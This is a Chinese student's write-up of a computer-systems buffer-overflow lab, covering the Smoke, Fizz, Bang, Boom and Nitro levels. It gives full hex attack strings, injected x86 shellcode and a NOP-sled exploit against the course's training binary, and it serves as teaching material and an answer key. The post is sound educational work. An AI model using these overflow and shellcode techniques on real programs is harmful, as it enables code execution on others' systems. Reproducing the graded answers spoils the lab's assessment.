【从零开始的新手之旅】:2023西工大计算机系统基础实验之Lab3
温馨提示*善于运用人工智能技术,遇到不解之处可随时向AI寻求解答。*《中华人民共和国网络安全法》已正式颁布并全面实施生效。*由于未充分考虑评价标准、虚拟机系统等各种潜在影响因素,答案可能存在局限性,并不能确保在所有情况下都适用。*本人的论述极度缺乏专业性,对此,建议各位参阅其他博主撰写的深度文章以获取更为准确的知识。*完全依赖个人的独立摸索并非总是最优策略,如果你能得到来自同学伙伴或学长学姐的指导
实验要求
实验所用
工具
资料
实验思考与结果
Smoke
攻击字符串需要把smoke函数的地址写入返回地址的位置,当从getbuf函数返回时,就会调用smoke函数。又因为
/*getbuf函数的伪代码*/
int getbuf()
{
char v1[36]; // [esp+0h] [ebp-28h] BYREF
Gets(v1);
return 1;
}
/*这是getbuf函数调用Gets函数的部分,攻击字符串需要0x30字节长
应该与“lea edx,[ebp+var_28]”有关*/
var_28= byte ptr -28h
.text:08049F53 05 AD 40 00 00 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049F58 83 EC 0C sub esp, 0Ch
.text:08049F5B 8D 55 D8 lea edx, [ebp+var_28]
.text:08049F5E 52 push edx
.text:08049F5F 89 C3 mov ebx, eax
.text:08049F61 E8 87 F9 FF FF call Gets
所以攻击字符串需要0x30字节长,最后四个字节存放smoke函数的起始地址:
/*小端排序*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
d6 95 04 08/*smoke函数的起始地址*/
Fizz
/*fizz函数的伪代码*/
void __cdecl __noreturn fizz(int a1)
{
if ( a1 == cookie )
{
printf("Fizz!: You called fizz(0x%x)\n", a1);
validate(1u);
}
else
{
printf("Misfire: You called fizz(0x%x)\n", a1);
}
exit(0);
/*这是fizz函数执行“if(a1==cookie)”的部分,
cookie值放在返回地址再隔四个字节的地方
应该与“edx, [ebp+arg_0]”有关*/
arg_0= dword ptr 8
.text:08049625 81 C3 DB 49 00 00 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:0804962B 8B 55 08 mov edx, [ebp+arg_0]
.text:0804962E 8B 83 F4 10 00 00 mov eax, ds:(cookie - 804E000h)[ebx]
.text:08049634 39 C2 cmp edx, eax
.text:08049636 75 24 jnz short loc_804965C
所以cookie值应该放在返回地址再隔四个字节的地方。
/*小端排序*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
15 96 04 08/*fizz函数的起始地址*/
00 00 00 00
** ** ** ** /*cookie值*/
Bang
因为
/*bang函数的伪代码。显然,根据“global_value == cookie”、
“printf("Bang!: You set global_value to 0x%x\n", global_value);”等
可知变量global_value就是我们的目标*/
void __noreturn bang()
{
if ( global_value == cookie )
{
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2u);
}
else
{
printf("Misfire: global_value = 0x%x\n", global_value);
}
exit(0);
}
.bss:0804F0FC public global_value
.bss:0804F0FC ?? ?? ?? ?? global_value dd ? ; DATA XREF: bang+16↑r
.bss:0804F0FC ; bang+28↑r
.bss:0804F0FC ; bang:loc_80496CB↑r
所以通过执行“mov [0x0804F0FC],0x********”来给变量 global_value赋值(********代表cookie值)。
恶意代码之前先用“00 00 00……”填充,返回地址修改为“0x55683d48”来执行恶意代码。在成功赋值后使用“mov eax,0804967b ”和“call eax”来跳转执行bang函数。
观看了缓冲区溢出分析-基础篇后,在AI和Online Assembler and Disassembler的帮助下,我才写出了攻击字符串。而且前两题的经验也很有帮助。
/*小端排序*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
48 3d 68 55/*shellcode的起始地址*/
/* shellcode:
mov [0x0804F0FC],0x********
mov eax,0804967b
call eax */
C7 04 25 FC
F0 04 08 **
** ** ** B8
7B 96 04 08
FF D0
Boom
/*test函数的伪代码*/
int test()
{
int v1; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
v1 = uniqueval();
v2 = getbuf();
if ( uniqueval() != v1 )
return puts("Sabotaged!: the stack has been corrupted");
if ( v2 != cookie )
return printf("Dud: getbuf returned 0x%x\n", v2);
printf("Boom!: getbuf returned 0x%x\n", v2);
return validate(3u);
}
因为要让目标程序返回到test函数继续执行,所以父函数ebp的值不能改,仍是“0x55683d60”。我自己粗浅的理解是寄存器ebp储存了栈底的位置,随意修改的话即使能够执行test函数内部的指令,但退出test函数时会发生异常,使程序无法正常运行。
至于为什么“返回地址要改为‘0x55683d45’来执行shellcode”并且“在shellcode开头写入 ‘0x5cb0f4fc’ 和 ‘nop’ 才能将printf函数的参数v2的值改为cookie”,我并不清楚具体原因。原本我将返回地址也改成了“0x55683d48 ” ,而在shellcode开头写入“b8 ** ** ** **” (mov eax, 0x********),但输出的cookie值并不正确。之后我发现输出的数恰好是“******b8”,于是我就开始不断修改返回地址和shellcode的开头,最后就变成了现在这样。虽然之后知道了正确的做法,但因为偷懒就没改了,毕竟输出的结果是对的。
然后需要“mov ebx,0x804e000”这一步是因为通过gdb调试器,可以发现正常情况下,当程序返回到test函数继续执行时,ebx的值一直是0x804e000。但如果先执行了shellcode再返回test函数,ebx的值就会被改变,程序就会异常中断。所以需要“mov ebx, 0x804e000”来保证字符串“Boom!: getbuf returned 0x********\n”正常输出。
最后用“push 0x08049747”和“ret”跳转执行printf函数,因为当程序执行完“printf("Boom!: getbuf returned 0x%x\n", v2);”后,它会自动执行“return validate(3u);”。这样程序就可以正常结束了。
/*这是test函数执行“printf("Boom!: getbuf returned 0x%x\n", v2);”的部分,
在shellcode开头写入“0x5cb0f4fc nop”可能与printf函数的传参过程有关*/
var_C= dword ptr -0Ch
.text:08049741 83 EC 08 sub esp, 8
.text:08049744 FF 75 F4 push [ebp+var_C]
.text:08049747 8D 83 D1 E0 FF FF lea eax, (aBoomGetbufRetu - 804E000h)[ebx]
; "Boom!: getbuf returned 0x%x\n"
.text:0804974D 50 push eax ; format
.text:0804974E E8 5D FB FF FF call _printf
/*小端排序*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
60 3D 68 55 /*父函数ebp的值保持不变*/
45 3D 68 55/*跳转执行shellcode*/
/* shellcode:
0x******** nop
mov ebx,0x804e000
push 0x08049747
ret */
** ** ** ** 90
/* “********” 代表cookie值。0x90表示空操作指令nop,不执行任何操作,用来补位*/
bb 00 e0 04 08
68 47 97 04 08 /*返回test函数内部继续执行*/
c3
Nitro
/*getbufn函数的伪代码*/
int getbufn()
{
char v1[516]; // [esp+0h] [ebp-208h] BYREF
Gets(v1);
return 1;
}
/*这是getbufn函数调用Gets函数的部分,攻击字符串需要528字节长
应该与“lea edx,[ebp+var_208]”有关*/
var_208= byte ptr -208h
.text:08049F86 05 7A 40 00 00 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049F8B 83 EC 0C sub esp, 0Ch
.text:08049F8E 8D 95 F8 FD FF FF lea edx, [ebp+var_208]
.text:08049F94 52 push edx
.text:08049F95 89 C3 mov ebx, eax
.text:08049F97 E8 51 F9 FF FF call Gets
解答这道题需要结合之前所有题目的解答经验与PPT所给的提示。
类比Smoke,攻击字符串需要528字节长。又因为使用了循环来模拟栈随机化,导致每次执行getbufn函数时esp的值都会改变,所以像Bang那样,Gets函数读取的部分用其他字符填充,然后修改返回地址,跳转执行放置在末尾的shellcode的做法就不合时宜了。根据提示,恰当的做法是把shellcode放在Gets函数读取部分的最后,前面用“90 90 90 90……”填充栈空间,只要返回地址能跳转到NOP sled中的任何一条NOP指令,shellcode最终都会被执行。至于如何确定返回地址的具体值,通过gdb调试器,我们可以发现每次循环,esp的值都始终围绕着一个值上下波动。
又因为
/*testn函数的伪代码*/
int testn()
{
int v1; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
v1 = uniqueval();
v2 = getbufn();
if ( uniqueval() != v1 )
return puts("Sabotaged!: the stack has been corrupted");
if ( v2 != cookie )
return printf("Dud: getbufn returned 0x%x\n", v2);
printf("KABOOM!: getbufn returned 0x%x\n", v2);
return validate(4u);
}
/*这是testn函数执行“ printf("KABOOM!: getbufn returned 0x%x\n", v2);”的部分,
shellcode中的“mov dword ptr [0x55685fd4], 0x********”与“ push [ebp+var_C]”有关*/
var_C= dword ptr -0Ch
.text:080497D3 83 EC 08 sub esp, 8
.text:080497D6 FF 75 F4 push [ebp+var_C]
.text:080497D9 8D 83 0C E1 FF FF lea eax, (aKaboomGetbufnR - 804E000h)[ebx]
; "KABOOM!: getbufn returned 0x%x\n"
.text:080497DF 50 push eax ; format
.text:080497E0 E8 CB FA FF FF call _printf
所以接下来的操作类似Boom。要让目标程序返回testn函数,因此父函数ebp的值不能修改,仍是“0x55685fe0”。返回地址则改为“0x55683c50”来跳转到NOP sled上去执行shellcode。“mov ebx,0x804e000”以及使用“push 0x80497d6” 和“ret”跳转执行printf函数的理由也是差不多的。但现在之所以使用“mov dword ptr [0x55685fd4], 0x********” 将printf函数的参数v2的值改为cookie,是因为这时我明白了“ call _printf”之前的“push eax”和“ push [ebp+var_C]”是在为printf函数传入参数。“push eax”传入的是字符串"KABOOM!: getbufn returned 0x%x\n",而“ push [ebp+var_C]”传入的应该是v2的值。通过gdb调试器,可以发现每次执行到这里时ebp的值都是一样的,不受循环影响,那么使用“mov dword ptr [0x55685fd4], 0x********”就可以达到目的了。
/*小端排序*/
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
/* shellcode:
mov dword ptr [0x55685fd4], 0x********
mov ebx, 0x804e000
push 0x80497d6
ret */
90 90 90 c7
05 d4 5f 68
55 ** ** **
** bb 00 e0
04 08 68 d6
97 04 08 c3
e0 5f 68 55/*父函数ebp的值保持不变*/
50 3c 68 55/*跳转到NOP sled上以执行shellcode*/
温馨提示
*善于运用人工智能技术,遇到不解之处可随时向AI寻求解答。
*《中华人民共和国网络安全法》已正式颁布并全面实施生效。
*由于未充分考虑评价标准、虚拟机系统等各种潜在影响因素,答案可能存在局限性,并不能确保在所有情况下都适用。
*本人的论述极度缺乏专业性,对此,建议各位参阅其他博主撰写的深度文章以获取更为准确的知识。
*完全依赖个人的独立摸索并非总是最优策略,如果你能得到来自同学伙伴或学长学姐的指导与帮助,那么恭喜你。
更多推荐



所有评论(0)